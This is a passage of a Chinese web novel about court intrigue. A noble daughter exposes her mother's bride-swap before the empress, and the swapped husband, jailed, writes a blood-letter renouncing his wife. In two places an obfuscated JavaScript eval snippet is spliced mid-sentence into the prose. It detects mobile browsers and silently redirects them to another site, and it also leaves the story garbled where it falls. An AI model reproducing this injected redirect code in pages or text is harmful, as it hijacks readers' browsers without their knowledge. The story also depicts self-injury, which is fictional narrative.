“哎哎哎?怎么哭了?”元明瑾没想到玩得过火,竟真把人惹哭了,忙不迭哄起来,“我不过是闹着玩儿,怎么听不出来?你是水做的吗,说哭就哭,嗯?” 她指尖捏着他完好的那侧颊肉,略晃了一晃。苏小糖依旧没吭声,双臂环上她脖颈,一语不发地埋进她肩窝,默默流泪,泪水很快便打湿了那处布料,湿乎乎的,怪难受。 元明瑾轻轻拍着他的背,任由他哭得上气不接下气,双目悠远地注视着他背后的景致,鼻子里缓缓呼出一股绵长的气息。 真是个小可怜。 和苏傲霜说的那些话,还是不告诉他了。 …… 苏家之变,家主令下,众人皆讳莫如深,苏傲霜更是亲自部署卫护,将苏府上下守得铁桶一般。一时间,府中各路眼线竟都无法向外传递消息,早有性急的达官贵人坐不住,迫不及待派出更多人手前去探听。 苏傲霜可是天子宠臣,又向来是铁打不动的保皇党。东宫册封在即,她府中若有些风吹草动,这些人一个比一个更想掌握一手消息,从而先发制人。 因此,苏玉堂的谋算竟当真成功了——她在别庄里左等右等,从旭日东升等到其隐有西沉之兆,直至申时末,终于听见外头车辚辚马萧萧,贵人姗姗来迟,顿时激动得脸红脖子粗,竟连自己还拖着一条伤腿也全然忘记,见人进来,忙不迭下拜,却踉跄着摔在地上,面上热意还未退,霎时便转为了羞愤,心中对苏小糖和元明瑾的恨意登时更上一层楼。 “让殿下见笑了……”苏玉堂忍着耻意,在心腹的搀扶下站起,却迟迟未等来预料之中的安抚。 “苏小姐……”这贵人也懒于同她客套,喟叹一声,连幂篱都没摘,便径自落座上首,待下人上茶后,三根骨节分明的长指伸出,捏住盖钮,掀开碗盖,朝里头扔了一眼,复又合起,将茶盏放回桌上,“眼下请本王前来,所为何事?” “我——” 苏玉堂刚开了个头,便被打断: “你既是世家子,理应没忘,选官第一条,便是:容貌端正、身体康健、四肢俱全者,方能进用。你如今已断了一条腿,又被苏大人扔到这鸟不拉屎的地方来,如何还能为官作宰、又如何还能为本王所用?” “……!”苏玉堂脸皮涨得通红,面目扭曲,一口银牙几乎咬碎,垂在身侧的双手蓦地攥紧了,指甲深深刺入掌心,掐得皮肉渗血也浑然不觉。 昔日筵席上,她还主动向自己示好,这才过了几日,竟这般不假辞色……一个两个,都如此轻贱于她! 来日她若位极人臣,定要——! 细细血流溢出她紧并的指缝,啪嗒啪嗒,一滴滴掉在地上,染出一片刺目的红。 这苦苦等候的几个时辰里,她既盼着这位贵人到来,又盼着她不要来,七上八下,忐忑不已。 苏玉堂虽是庸才,却又何尝不明白,这一举动意味着什么。 然而自她令心腹拿着信物去请人的那一刻,便已做出了选择。 既已做出选择,便不容退缩。 母亲教诲过她的中庸之道,她虽不明所以,却始终谨记于心——但此时此刻,急于复仇的怒火已然蒙蔽了她的心智,什么狗屁中庸之道,全抛到九霄云外去了。 而面前之人轻飘飘的一句话,更是为这股熊熊烈火,添上了最后一把柴。 顷刻间,苏玉堂便下定了决心,抬起头,望向那女子遮面的幂篱,怦怦、怦怦……心跳如山雨欲来,先缓后急,愈发激烈。 她稳住心神,一字一句,掷地有声道: “臣女自然明白。但诚如殿下所说,腿虽断,总归有痊愈的那天;且玉堂是母亲独女,她终究不能弃我于不顾。” 只要踏出这一步,就再也没有回头路了。 “——而我,知道一个足以一举击溃瑞王的秘密。” 16. 欺君⑴ 寅时,整个琮都仍浸在黑甜的睡乡中。 皇城东南角,却隐隐亮起一片灯火。王侯将相们已起身梳洗,穿戴齐整,或乘舆、或骑马,穿过漆黑的街道,到达宫门后,由宫侍引着,前往朝房暂做休整,待宫门启钥,入朝觐见。 若遇见熟人,少不了要寒暄几句。朝房内正私语切切,忽见一人推门入内,朱红官服在一众绛红蕉红杏红中暗沉得不起眼,偏生胸前的仙鹤补子旁若无人地展翅高飞,鲜活得仿佛能从那块织金锦上腾跃而下,乌纱帽上的如意纹红宝石帽正在摇曳的烛光下反射出耀眼的芒彩。 天元官服一向以深浅见品阶。众臣刚瞥见那一抹朱红,立时噤了声,小心翼翼地用余光留意那人的动向,却见那双乌皮靴顿足少顷,便转了个向,往朝房一角走去。 角落里坐着个穿枣红官服的人,正捧杯凝思,胸前绣着头立于崖上、极目远眺的雌狮,四腿如柱,祥云绕身,好不威风。她见有人走来,便放下茶盏,从容见礼道:“沈大人。” 她乌发间夹杂的银丝在烛光下隐约闪动。 沈佳笑道:“你我之间,还需这些虚礼?日前殿下大婚,怎么没见着梅大人?” 瑞王殿下既已大胜归来,正是意气风发之时,想来东宫也不过是囊中之物。 世人皆言成家立业,元明瑾虽先立业后成家,但总归是成婚了,新嫁郎的家世也不错,其母是天子宠臣,不算折辱了她。 沈佳亦是看着她长大的,欣慰喜悦不言自明,少不得要在她的喜宴上多喝几杯。 梅鹤鸣也笑:“沈大人莫不是喝酒喝昏了头?我都一把年纪了,哪儿还熬得动?既观过礼,便一早向陛下和殿下请辞,回府中歇息了。沈大人的精神头倒还足,真叫人歆羡。” 此言一出,沈佳便知她定是又思念起自己那个十五六岁便薨了的男儿,少不得赶紧换个话题,又宽言安抚了几句。 二人正闲话家常,就见门扉又开,户部尚书苏傲霜一语不发走进,眼下青黑醒目,死气沉沉。她找了把椅子坐下,便撑着头闭目养神,一旁有人欲上前奉承几句,见她如此萎靡不振,也不好再出声相扰。 见状,梅鹤鸣与沈佳交换了一个彼此心知肚明的眼神。 然而还不待二人上前,便有宫侍前来告知可以入殿了。众臣便在宫门前排好次序,依品级高低鱼贯而入,沉默地踏在金砖上,步履纷沓,足音却轻缓。 卯时初至,天蒙蒙亮,东方渐明,云兴霞蔚,稀薄的晨光自后而来,为宫殿镶上一层朦胧的晕珥,仿若神霄绛阙。眼前的太极殿也不过是辽阔天穹底下一座巨兽般的庞然大物,却衬得这些举足轻重的股肱之臣都像一只只渺小的蚍蜉蝼蚁。 入殿后,群臣按班次站好,手捧朝笏。不多时,便有一道道唱赞声响起,由远及近: “陛下驾到——” “吾皇万岁万岁万万岁——” 一时之间,殿内众人皆五体投地,山呼万岁,上至三朝元老如沈相,下至候值的宫侍禁卫——坐在天底下最尊贵的那把椅子上,轻易便能将这幅盛景尽收眼底。 行过叩拜礼后,帝王令众臣平身,便启奏议朝。今上勤政,辰时未至,已将正事处理得七七八八,正欲退朝之时,却见一人突兀出列,高喊:“陛下且慢!” 皇帝定睛一瞧,正是整肃谨严的御史大夫,便问:“爱卿还有何事?” “陛下经国已有数十年,我天元仓廪丰实、马壮兵强,政通人和、国泰民安。纵观邻并诸国,百越已俯首称臣,九曜、陆合不敢再进犯,昭穆又向来与我朝交好,如今正是河清海晏、太平盛世,天下百姓间无不称颂陛下仁明睿哲!” 这一席话夸得皇帝龙颜大悦。她虽喜怒不形于色,却倾身向前,指尖南红念珠拨得更欢,显然是心花怒放。 然而,立于百官之首的沈相却眉心一跳,脑海中那根弦微绷起来。 无事献殷勤,非奸即盗。御史大夫这个老匹妇突然给陛下戴了这么多顶高帽,莫非又要找谁的不痛快? 果不其然,御史大夫的下一句便是—— “陛下贤明至此,却有人仍知法犯法,御下蔽上,犯下欺君之罪!望陛下明察,千万严惩此人!” 此言一出,满殿哗然,上首的皇帝也蓦地厉起神色。一人道:“刘大人,你如此言之凿凿,想来定是已有十成十的把握?那还不快快说出此人名姓?” 好一个一唱一和。沈佳瞧着,轻嗤一声。 御史大夫道:“臣不敢隐瞒——苏大人,你可有何要说?” 刹那间,数十双眼睛跟随着御史大夫,齐齐投向了苏傲霜,或审视,或讥诮,或震惊,或漠然。苏傲霜面无表情地在周遭各色眼神中滚了一圈后,缓缓俯首下拜,胸前的孔雀补子也跟着折起:“臣不敢夸言兢兢业业,但自认问心无愧,不知刘大人为何要如此构陷于臣,望陛下明鉴。” 她三言两语,这颗蹴鞠便被踢到了皇帝处。一时间,殿内众臣皆未言语,只视线蜂拥而去,一齐投向了上方的龙椅。 人群中有一人,笼在袖中的右手悄悄转动两下戴在左腕上的缠枝镯,面上依旧维持着扬起唇角的表情,像条胁肩谄笑的狐,笑意不达眼底。 “苏卿所言甚是。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16436852|183928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘卿,你二人同朝为官,若无凭据,肆意中伤同僚,是何居心?” 龙口一开,众人心中都道:果然如此。 帝王微末之时便起用了苏傲霜,说是从龙之臣也不为过。是人都会有所偏爱,天子自然也不例外。 她会偏袒苏傲霜,完全在意料之中。 岂料御史大夫依旧毫无退缩之意,不卑不亢道:“回陛下,臣自是已有铁证,才敢当朝告发苏大人。苏傲霜,我再问你一遍——这掉包瑞王夫一事,你认是不认?” 话音未落,四面皆惊。众人再也按捺不住,一时竟顾不得正身处朝堂,迫不及待地交头接耳起来: “这刘大人莫不是疯了?瑞王殿下大婚那日,下官也去讨了杯喜酒,当时并无异样啊?” “怕不是她自己的男儿没有苏大人的男儿那样美丽的姿仪和贤德的名声,见自家男儿没个好归宿,便心生忮忌……” “此言差矣,刘大人为人刚正,又素来与苏大人无冤无仇,怎会刻意诬陷对方呢?莫非这其中,当真另有文章?” “倒是不无道理,近来坊市传闻,下官也听了一耳朵。苏大人圣眷正隆,又与瑞王殿下结了亲,若是瑞王殿下入主青宫,那她的男儿,岂不——” “嘘!快闭嘴!此等大事岂容你胡言乱语!要叫有心人听去,你这顶乌纱帽、连同乌纱帽下的脑袋,都不想要了是吗!” “肃静!” 宫侍见下首就快乱成一锅粥,忙提声喝道,总算在皇帝掷出掌下的砚台前成功压下了满室沸腾。 “刘大人不得信口雌黄!” 苏傲霜经她再三挑衅,此时也动了气,愠怒道:“事关瑞王殿下与我儿清誉,莫要再无中生有!” 常言身正不怕影子斜,此刻她腰板虽挺得笔直,面上也是一派怒容,胸腔里的一颗心却跳得突突,脑中拼命回想究竟是何处露了马脚。 王府?瑞王殿下治下那般严明,且详谙始末的人,一只手都数得过来…… 家中?不,不可能,府卫皆是她亲自挑选的,辛氏和韩氏也严加看管起来了; 寺中?也不可能,那边可是瑞王殿下亲卫前去,层层封锁之下,恐怕连只苍蝇都无法飞下山; 那就只有…… “传左验上前!” 刘大人的声音恰到好处地响起。 眼跳心惊,苏傲霜恐惧地回过头去,心中拼命祈祷莫要是她意度中的那人。 只见殿门大敞,一人逆光而立,背脊微偻,拄着拐杖,一瘸一拐地走上前来,与她错身而过。 ——竟是看也没看她一眼。 17. 欺君⑵ 文臣武将侍立两侧,中间开辟出一条并不十分宽的小道。那人便经这条小道步履蹒跚地穿过人群,径直走到最前方,轻轻放下拐杖,双膝跪地,规规矩矩向上首的皇帝行了个大礼—— “臣女苏玉堂,参见陛下,万岁万岁万万岁。” 早在她出现之初,众臣中与苏傲霜相熟之人,就有认出她这张脸的,不由倒吸一口凉气;即使暂时认不出的,见苏傲霜面上惊愕得连掩饰也忘记的神色,便知此人身份定然不凡,遂好整以暇地捧着朝笏看起戏来。 沈佳侧过眼,瞥了一眼几步之遥外站定于武将之首的元明瑾,见她晏然自若,便也默不作声,静观其变。 “你是何人?” 玉珠轻撞,响声清脆——十二旒下的龙目扫过寂若死灰的苏傲霜,复又回到苏玉堂的眉眼间,嗓音冷然。 “臣女是苏尚书之子——” “竖子尔敢!” 话音未落,一本奏折便登时甩下阶去,啪一声摔在苏玉堂面前,吓得她双肩猛地一颤,忙不迭拜伏在地,瑟瑟发抖。朝臣也哗啦啦跪倒一大片,口呼“陛下息怒!” “我天元子民,皆是守孝悌之人!且不论此人是否确为苏尚书之子——刘鸿祯!你令苏卿之子来检举她,此母子相夷,非人所为也!” 天子怒于前,众臣顿觉后脖发凉,御史大夫却仍面不改色。她直起上半身,目光如电,朗声道:“自古忠孝难两全!对陛下的忠心甚至超过了对母亲的孝心,难道不足以明此人品节良实、志虑忠纯?再者,苏大人若是行得端坐得正,怎么还怕受人检举,更何况是亲生骨肉的检举?臣恳请陛下且听此人一言,待听过之后,再做打算也不迟。” 话都说到这份儿上了,皇帝也只好松口,命苏玉堂从实招来,不得有半分隐瞒。 众目睽睽之下,苏玉堂抖着声线,从苏小糖代替苏宜宜坐上花轿,到昨日的省亲,将来龙去脉一五一十地说了,却刻意将辛氏对苏小糖十几年的苛待和自己多次猥亵苏小糖一事瞒了下来,更只字不提苏小糖究竟是如何坐上花轿的。 众臣凝神听着,越听越觉心惊肉跳,便不时用余光去瞟苏傲霜,见她虽面无表情,乌纱帽缘下的碎发却已被汗水打湿,一绺绺黏在额际,便知这偷梁换柱一事,十有八九是真的了。 只是……听这黄口小儿所言,此事瑞王殿下竟也知情?且并未揭穿? 莫非她早已属意这苏家二公子,故而睁一只眼闭一只眼,抑或是……与苏傲霜勾结在先?! 可陛下明令禁止皇子与重臣私交过甚——! 众人已然预感到天子将如何震怒,连忙眼观鼻鼻观心,作鸵鸟状龟缩,努力将自己的存在感降到最低,以免蒙受迁怒。 帝王压着眉听罢,看向苏傲霜,沉声问:“苏卿,你可要解释一二?” 苏傲霜已是哀莫大于心死,沉默片刻,终究还是俯身下拜,重重叩首道:“臣,无话可说。” 她还能说什么呢? 说自己一心为上,却遭人暗算,产下身上流着九曜血脉的孩子吗? 说自己因心中有愧,故而放任正夫欺侮次子,装聋作哑了这许多年吗? 说自己教子无方、失之偏颇,才落得今日这般同室操戈、两败俱伤的地步吗? 一边是相伴多年的夫郎与骨肉相连的儿男,一边是再度手握从龙之功的诱惑; 一边是今上数十年如一日的宠信,一边是被绑上瑞王殿下的贼船、成了同一条船上的蚂蚱…… 她哪边都想要,哪边都放不下,却也哪边都得不到。最后能割舍的,竟只有—— “苏傲霜。”帝王嗓音沉沉,喜怒不辨,“你太令朕失望了。” 沈佳一惊,知道此时元明瑾不便出面,身体反应比大脑更快,率先一步跨出去——“请陛下三思!苏大人一向忠心耿耿、劳苦功高,纵然犯错,也只是身为人母,不忍见男儿消受相思之苦,请陛下莫要轻易处置她!” 丞相本就有统率百官之责,由她出面求情,陛下也不会生疑。且她这番话大事化小、小事化了,闭口不谈欺君之罪,仅申重一颗慈母的苦心,陛下同为人母,定能设身处地,生出怜悯之心。 “沈相此言差矣。” 几方正对峙不下,却听斜刺里,一道满含笑意的嗓音横插一脚—— “苏大人固怀怜子之心,但圣旨既指了苏氏嫡长男为瑞王夫,苏大人又使出这一计偷天换日,岂不是……根本就没将母皇的威严放在眼里?” 苏傲霜猛地抬头,“罪臣并无此意!” “况且——苏大人只顾念替嫁男儿的爱慕之心,可曾还记得那个本该做王夫的正主儿,也同样对皇妹怀揣着一颗爱慕之心,日日夜夜都盼着嫁给她、做她的枕边人哪?” 她却只当没听见,自顾自说着,竟抬袖掩唇,吃吃地笑起来,官服宽大的阔袖下滑,露出皓腕上那支攀满藤萝的金镯,每一朵花、每一片叶皆栩栩如生,明光烁亮、璀璨夺目。 “皇妹真是风流,竟叫兄弟二人的一颗芳心都落在你身上,连什么手足之情、什么深阁男子的清誉,都全然不顾了,不惜传出兄弟阋墙的恶名、更不惜犯下欺君之罪,也要争先恐后嫁给你,真让本王好生羡慕啊。” 此人嘴上功夫了得,四两拨千斤,便将始终隐在幕后的瑞王引到了众人的视线中。元明瑾也见招拆招,低眉顺眼、不卑不亢道:“皇姐谬赞了,明瑾庸碌无能,唯于领兵作战上,略有两句拙见,乍蒙厚爱,不胜惶恐。” 元明琼一僵,面色铁青,藏于宽袖中的另一只手已将朝笏捏得死死,几乎要将象牙所制的笏板化为齑粉。 无它,虽然这话表面上不过是自谦之辞,却一针见血地戳中了她的痛处—— 自古建功立业,最快的方式就是上阵杀敌,偏偏七年前那场她不能去,母皇便任命小她两岁的元明瑾为征讨将军。她这皇妹倒也争气,不足二八年华,便崭露头角、一战成名。此后若有战役,母皇更是放心地尽数交给她,全然忘记还有自己这个大女儿,同样可以行军布阵,率铁骑扬天元国威。 武功立不成,便只好在文治上多费些心。元明琼见对方无意与她摇唇弄舌,自己一拳打在了棉花上,只得微笑着压下胸中闷气,还要开口,就听上首皇帝发话道:“肃王,闭嘴。” 元明琼一怵,低下头,依言悻悻地住了嘴。 “瑞王,你来说。”长长旒珠帘后,那双积威甚重的眼眸移向元明瑾,“你可知你的王夫另有其人?” 元明瑾仿佛还没从这番突如其来的打击中回过神来,白着脸惶惶道:“儿臣与王夫虽是奉旨成婚,然成婚不过数日,我二人却琴瑟和鸣、鱼水相投,仿佛上辈子也 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元明琼想不到她竟如此草率便做了决定,不由惊叫一声,却听宫侍已拉长调子,高喊“退——朝——”,纵使心有不甘,也只好先一拜三叩头,目送帝王离开后,才恨恨地一甩袖子,转身离去。 元明瑾见她再难抑制怒火,不着痕迹地微扬唇角,也大踏步从人群中走了出去。 两位亲王先行,待她们出殿后,群臣才按官职大小依次退场。 然而没等元明瑾走出去多久,一声“皇妹留步”生生止住了她的步伐,扭头一看,果然是言笑晏晏的元明琼。 元明瑾眉心微拧,尽量心平气和道:“皇姐还有何事?” “小明瑾……”虽然结果不尽人意,但勉强扳回一城,元明琼笑得总算是真心实意了些,“你那小姑真是给了我好大一个惊——” “皇姐真是好手段,竟能支动向来秉正的御史大夫做出头鸟。”元明瑾冷冷地逼视向她,趁其不备,一把捉住她左腕,指尖离那只金镯不过几寸,“绿汀在我手里,还望皇姐,行事务必小心为上。” “绿汀是谁?好陌生的名字。”元明琼神色不变,反而嫣然一笑,凑近她耳边,吐气如兰,“他是不会背叛我的,你与其在他身上白费工夫,倒不如提前给你那小夫郎准备后事……天牢可不是你瑞王府的寝殿,说进就进、说出就出。” 元明瑾阴沉道:“不劳皇姐费心。” 两人虚与委蛇一番,自是不欢而散。 元明琼自认棋高一着,哼着缠缠绵绵的旖旎小调坐上回府的马车。心腹听出是秦楼楚馆近来流行的歌谣,踌躇片刻,还是进言道:“殿下,苏玉堂这样的人不能用,她连自己的母亲和家族都能背叛,难保将来不会反咬我们一口……” “嘘——” 元明琼嘴唇嘬圆,竖起一指置于她唇上,令其噤声,笑道:“小紫蒲,你以为本王想不到么?这种用过就丢的东西,不劳你特地来本王跟前提一嘴。” 心腹敛下眼睫,道:“是属下愚钝了。” “无妨。”元明琼心情大好地转动左腕上的金镯,指尖拨了拨那几颗金灿灿的果实,引得花叶颤颤,“倒是我的好妹妹,竟给我准备了这么大的惊喜,真是——天要助我啊!” 18. 血书⑴ 苏小糖被几个官兵推搡着摔进牢里的时候还是懵的。 他堪堪扶住铺着稻草的床站稳,就听身后传来丁零当啷一阵金属碰撞声,转头一瞧,竟见一人取了足有他大腿那么粗的铁链来,里三层外三层将牢门捆起,又在上头挂了一把大锁,叼着根耷头耷脑的狗尾巴草便走。 “慢着……!” 苏小糖既慌且怕,叫住了人,又嗫嚅着不知道问什么好。 金吾卫冲进府中时,他正在膳房中清洗一早便忍着困倦爬起来摘下的嫩莲叶,打算做一道莲叶羹,趁妻主午后公务间隙给她端过去,替她解解乏。哪曾想却突然被人闯进来,不由分说一路强押着他进了天牢,连张嬷嬷也拦不住。 他不是王夫吗?怎么这些人说捆就捆?如此放肆,知道他妻主是谁吗!苏小糖愤愤地想。 那些武蛮子哪里懂什么怜香惜玉,拧得他肩膀好疼,仿佛他是什么十恶不赦之徒似的。 “有什么事快说。”被他喊住的狱卒很是不耐烦。 “放肆!你知道我是谁吗?” 一想到妻主,苏小糖腰板就呲溜挺直了,抬高下巴,颐指气使道:“我要见我妻主!我妻主可是——” “你妻主就算是天王姥子也没用!” 狱卒不屑地啐了一口,那根浸着唾沫的狗尾巴草就落在苏小糖脚边,吓得他倒退两步,绣着双鱼纹的晴蓝袍角已沾了些尘土,“你犯下欺君之罪,陛下亲自下令将你关入天牢,进来了,就是将死之人,不日便要问斩!” “还有什么遗言,留到阴曹地府,跟阎王说去吧!” 大理寺卿早就归入元明琼麾下,她手下的这些狱丞狱卒自然不可能对苏小糖好言相待。 果然……苏小糖心中虽隐约有所察觉,但“欺君之罪”四字自狱卒口中蹦出来的那一刻,仍是如遭雷击,心都空了,腿脚发软,跌坐在地。 发愣半晌,他又问:“那欺君之罪……可会牵连她人?” 他小脸煞白,连自己也没意识到冰凉的泪珠已一滴滴坠地,玉惨花愁,我见犹怜。见他哭得动人,狱卒难得有些不忍,道:“这可是株连九族的大罪!你说会不会牵连她人?” 她略顿了顿,又道:“你没读过书吧?你知道九族是哪九族吗?母四族、父三族、妻二族——若是陛下震怒,杀了你九族都不解恨,那连与你交好的人都难逃一死呢!” “什么?不——” 苏小糖一听,顿时六神无主,扑上去就紧紧抓住栏杆,急道:“跟我妻主没关系,她根本不知情!我要面见陛下,见陛下……对,我还没给陛下行过奉茶礼,还不是陛下的儿婿,要杀就杀我,别杀妻——” 呼喊间,他脸上未愈的伤口再次被牵动,疼得他立马便噤了声,捂着敷料嘶嘶地抽起凉气,眼泪掉得更欢。狱卒见他这副惨样,也无意再为难他,摇了摇头,转身离开。 好疼……杀头一定比这还疼。 好不容易缓过这股劲儿,苏小糖像被抽干了全身的气力,蔫蔫地坐到床上,曲起腿,把脸埋进双膝之间,虽未出声,前裾的布料却渐渐洇湿了一片。 如果他真的难逃一死,那、那他……起码不要让妻主……对,不要慌,妻主是皇子,说不定能幸免于难呢? ——可是妻主,会不会就此失去她母皇的器重? 思及此,苏小糖心跳蓦地停了半拍。 虽然嘴上不说,可他知道,她肯定想坐到那个位置上去,否则不会总是在书房中待到深夜,直至亥时才沐浴就寝。 他每次都想等一等她,却总撑不过困劲儿,沉沉睡去。若她一时不察,就寝时动作大了些,将他闹醒,苏小糖便会黏黏糊糊凑上去,双臂紧紧地将她拢进怀中,待她被缠得没法儿,在他面上轻啄几下,他这才心满意足地松了劲儿,抱着她再度沉入梦乡。 晨起向旁边一摸,尚留余温,却听得外头利剑劈空、呼呼作响,原是她一早便精神抖擞地爬起来练剑了。 明明她军功已攒了不少,却还是这样勤奋……共赴巫山时摸着她臂上那些狰狞的伤疤,总叫他心疼不已。 一想起妻主,苏小糖心里就软成一团。 她给了他一个新的家,给了他衣食无忧的生活,给了他无上的荣华富贵,更给了他尊严,替他狠狠报复了欺负他的那些人。 而他……仔细一想,竟没有什么好回报的。 他有自知之明,知道自己一向很怕疼,也耐不住疼,但是…… 苏小糖犹豫再三,最终还是抖着手,拔下了头上的簪子,眨眨眼,挤掉眼中泪水。 雪亮锋利的簪尖在视野中渐渐清晰起来。 他竟觉得,自己死了也不要紧。只要不成为她的污点,那他…… 做什么也甘愿。 苏小糖缓缓握紧了那支簪子,屏气闭眼,咬牙狠心,簪尖朝向那片不住颤抖的柔软皮肉,用力一刺——! …… 帝王虽令元明瑾禁足,却并未禁止旁人去看望她,因此刻着沈氏家徽的马车一路无阻,顺畅地驶进了瑞王府后门。 这辆马车饰物鲜亮,轭首插着青铜銮铃,车舆嵌了绿松石构件,璎珞玑琲财大气粗地挂在车门两侧,雨丝锦车幰上更是绣满象征事事如意的柿蒂纹,任谁看都是年轻小女郎会乘着出游踏青的那种样式。 车轮一停,沈华清弓身从车厢中钻出来。她不要人凳,利落地跳下,然后回身,稳稳当当地从车上接下另一个人—— 竟是一身常服的沈佳。 “瑾娘此时一般都在书房。娘,我引你去罢。”沈华清道。 那日湖上遇刺后,她痛定思痛,勤加练起武来,如今上臂强壮,也能将她娘四平八稳地托下马车了。沈佳多少能猜出女儿为何突然转了性子迷途知返,自是乐见其成,对于元明瑾的拥戴之心更深几分。 做官做到她这般地步,见微知著是基本功。既然她这整日只知吃喝玩乐的不肖子都受了元明瑾影响,变得勤学苦练起来,不难想象,若是元明瑾坐上那个位子,整个天元又会在她的引领下,发展到何等民安物阜的太平盛世。 二人由元明瑾的心腹引着,自后院走向书房。一路上见下人无不面色凝重,连句闲聊也听不见,沈佳不由叹道:“瑞王殿下治下果真严明,这府中肃然得也同军中一般。” 心腹闻言,强笑着应和了几句。沈华清倒是清楚王府中为何愁云惨淡至此,忙扯了扯她娘的衣角,叫她别多嘴。 沈佳不明所以。 进入书房,二人见元明瑾一身青黛广袖袍,正坐在案前写写画画,便先见了礼。元明瑾闻声抬头,让她们平身,令人上了茶,待左右皆退下,才道:“沈相可有两全之策?” 沈华清此时方看清她眼下也有一层黛青,不觉心疼,插嘴道:“你昨夜没睡好么?” 元明瑾没吭声,只是垂着眼睫,摇摇头。 “两全之策?陛下向来心软,殿下与苏大人,一个是她心爱的女儿,一个是她心爱的臣僚,自是动谁都不忍心,便只好拿王夫开刀了。”沈佳沉吟片刻,一针见血道。 “倒是苏大人的女儿……怎会突然出现在朝上?而且还是作为肃王的左验……” 元明瑾便将始末原由尽数如实相告,道:“本王事前已料到或有此出,特地提醒过苏傲霜:如果苏玉堂安分守己,那看在她愿为本王效力的份上,先前与王夫的恩怨可以一笔勾销。” “但若苏玉堂敢将替嫁一事说出,本王必不保之,苏傲霜也只能任她自生自灭。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈佳也半晌无言,道:“许是‘不能’,并非‘不想’……天牢之中都是肃王的人,也不知如何才能将这书信送出,难为王夫了。” 想不到他一介弱质男流,竟还有这般血性,在狱中仍挂念着母亲,不愿牵连她,便想法子写了断亲书托人送出来。 元明瑾猛地抬头,急令人紧盯住王府各个出入口,而后迅速拆开了另一封书信。 这一封倒是好端端在大绫纸上写的,字迹工整清晰,同样简短,只有六字——“红蓼不知所终”,下盖一枚苏傲霜私印。 “这红蓼可是重要左验?”沈佳问。 “正是。但不到关键时候,想必皇姐不会轻易打出这张牌。”元明瑾答。 沈华清问:“为何?” 沈佳丢给她一个恨铁不成钢的眼神——“红蓼是苏夫人身边的人,亲王与外臣内宅中的下人有所联络,怎么看都大有文章吧?你若是圣上,你不生疑?” “这是其一。”元明瑾接着补充,“其二则是……红蓼是九曜人。” “九曜”二字一出,沈氏母女齐刷刷转向她,表情活像是见了鬼,一张惊愕失色的脸后是另一张无论表情还是五官都极其相似的脸。 天下何人不知,天元与九曜两国宿怨深仇,早已不共戴天。沈佳下意识道:“那苏傲霜……” “苏大人向来懒于插手后宅之事,一应事宜全交由正夫辛氏打点,想来并不清楚此事。” 话未脱口,元明瑾就知道她想问,苏傲霜是否还值得信赖——若是敌国细作能做官做到三品大员的位置,那天元早已危在旦夕了。 沈华清始终一头雾水,又插不上嘴,早就急得满头大汗了,逮着空赶紧问出心中疑惑:“瑾娘,你是如何看出他是九曜贼子的?” 19. 血书⑵ “我抓住了他的孪生兄弟,发现那人目力极佳,能看清万顷之湖对岸的物事,连有几只鸟、几块石头都说得一清二楚,再与预先守在湖对岸的侍卫一实核,果然不假。” “会不会是他提前记住了……”沈华清努力转动脑筋,但说到一半,自己先意识到不对,立马住了嘴。 沈佳已惫懒再嫌弃她,抚额道:“鸟是活物,自己会飞,又怎能提前记住?再说了,伪装九曜人,百害而无一利,他若是有意为之,岂非引火烧身、自找麻烦?” “况且他被关在不见天日的地牢中,仍能看清我衣襟上溅了血,这目力应该装不出来。”元明瑾又道。 一时之间,室内三人皆静默无言。 九曜建国之初,依据的就是一则神话故事:神女夜观星象,感天而孕,应时发动,诞下九曜之祖。此后若有眼目明明者,皆神女后人,“九曜”之名也由此而来。 “我还以为只是个传说呢,想不到竟是真的……”沈华清小声嘀咕,“既然如此,肃王怎么会敢用九曜人做左验呢?” 事关皇室秘辛,沈佳不敢妄言,正想绕过这个话题,却听元明瑾主动道:“华清,你可知七年前我天元抗御九曜一战,皇姐分明比我大两岁,文韬武略也不在我之下,母皇却弃她不用,派我领兵吗?” 沈华清摇摇头,兔子似的竖起耳朵,直觉接下来会听到什么了不得的大事。 “只因她的父亲是九曜皇子,当年初初潜入天元,却阴差阳错被录为潜邸扈养,又因貌若好女、姿仪美甚,被选为晓事傧御,深得母皇爱重,一路扶摇直上,宠冠六宫。若不是事情败露,只怕如今的四君之位,必有他一席。” 乍听此言,沈华清惊得眼睛溜圆,嘴也半张着久久合不上,好半晌才道:“原来是要避嫌……” 元明琼身上流着一半的九曜血脉,皇帝不信任她,也在情理之中……尽管是自己的亲生骨肉,但天家何等无情,本就不及寻常百姓菽水之欢。 沈华清心头正百味杂陈,忽见书斋外一人行色匆匆,急奔而来,激动道:“殿下果然料事如神!属下等人在角门捉到了一个醉醺醺的军娘子,手里还握着此物,说是受人所托,前来送信。” 元明瑾抢上前去,夺过所谓书信,见又是一块血腥味浓重的布,晴蓝底已被棕褐色的血迹染得发紫,同样以血为墨,歪歪扭扭写着—— 「盖闻妻夫之礼,是宿世之因。累劫共修,今得缘会。一从结契,要尽百年。如鱼如水,同欢终日。昼日三接,无以为报。今身陷囹圄,恐祸及妻主,惟以此书,各还本道。望相离后,日转千阶,青云直上。妻当横戈跃马,莫忘慎身修永。解怨释结,更莫相憎。一别两宽,各生欢喜。崇定二十六年乙巳岁梅月庚午,苏小糖顿首。」 元明瑾默不作声地咀嚼这几行字,双手越攥越紧,青筋暴涨,将那块肮脏破烂的蓝布攥得扭曲变形,彻底不成样子。沈华清见她虽面无表情,眼底狠厉却不加掩饰,心中不觉突突,正以为她不会出言之时,却听她忽地冷笑道:“好一个无以为报,好一个各还本道!” 